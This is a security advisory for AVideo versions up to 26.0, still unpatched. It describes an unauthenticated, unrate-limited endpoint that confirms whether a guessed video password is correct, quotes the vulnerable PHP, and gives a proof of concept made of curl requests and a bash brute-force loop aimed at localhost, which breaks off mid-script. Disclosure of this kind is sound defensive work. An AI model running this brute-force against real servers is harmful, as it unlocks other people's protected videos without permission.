GitHub Security Advisory: GHSA-8prq-2jr2-cm92
Package: wwbn/avideo (COMPOSER)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-307: Improper Restriction of Excessive Authentication Attempts
Vulnerable versions: <= 26.0
Patched in: unpatched

Summary: AVideo has an Unauthenticated Video Password Brute-Force Vulnerability via Unrate-Limited Boolean Oracle

Details:
## Summary

The `get_api_video_password_is_correct` API endpoint allows any unauthenticated user to verify whether a given password is correct for any password-protected video. The endpoint returns a boolean `passwordIsCorrect` field with no rate limiting, CAPTCHA, or authentication requirement, enabling efficient offline-speed brute-force attacks against video passwords.

## Details

The vulnerable endpoint is defined at `plugin/API/API.php:1111-1133`:

```php
public function get_api_video_password_is_correct($parameters)
{
    $obj = new stdClass();
    $obj->videos_id = intval($parameters['videos_id']);
    $obj->passwordIsCorrect = true;
    $error = true;
    $msg = '';

    if (!empty($obj->videos_id)) {
        $error = false;
        $video = new Video('', '', $obj->videos_id);
        $[CREDENTIAL_REDACTED]->getVideo_password();
        if (!empty($password)) {
            $obj->passwordIsCorrect = $password == $parameters['video_password'];
        }
    } else {
        $msg = 'Videos id is required';
    }

    return new ApiObject($msg, $error, $obj);
}
```

The `get()` dispatcher at `API.php:191-209` routes GET requests directly to this method without any authentication enforcement:

```php
public function get($parameters) {
    // ... optional user login if credentials provided ...
    $APIName = $parameters['APIName'];
    if (method_exists($this, "get_api_$APIName")) {
        $str = "\$object = \$this->get_api_$APIName(\$parameters);";
        eval($str);
    }
}
```

The application has a `checkRateLimit()` mechanism (line 5737) that is applied to user registration (line 4232) and user deactivation (line 5705), but is **not** applied to this password verification endpoint.

Additionally, video passwords are stored in plaintext (`objects/video.php:523-527`):

```php
public function setVideo_password($video_password) {
    AVideoPlugin::onVideoSetVideo_password($this->id, $this->video_password, $video_password);
    $this->video_password = trim($video_password);
}
```

The comparison at line 1125 uses loose equality (`==`) rather than strict equality (`===`).

## PoC

**Step 1: Identify a password-protected video**

```bash
curl -s "http://localhost/plugin/API/get.json.php?APIName=video&videos_id=1" | jq '.response.rows[0].video_password'
```

A non-empty value (e.g., `"1"`) indicates the video is password-protected.

**Step 2: Test incorrect password (oracle returns false)**

```bash
curl -s "http://localhost/plugin/API/get.json.php?APIName=video_password_is_correct&videos_id=1&video_[CREDENTIAL_REDACTED]"
```

Expected response:
```json
{"response":{"videos_id":1,"passwordIsCorrect":false},"error":false}
```

**Step 3: Brute-force the password**

```bash
for pw in password 123456 secret admin test video1 qwerty; do
  result=$(curl -s "http://localhost/plugin/API/get.json.php?APIName=video_password_is_correct&videos_id=1&video_password=$pw" | jq -r '.response.passwordIsCorrect')
  echo "$pw: $result"
  [ "$result" = "true" ] && echo "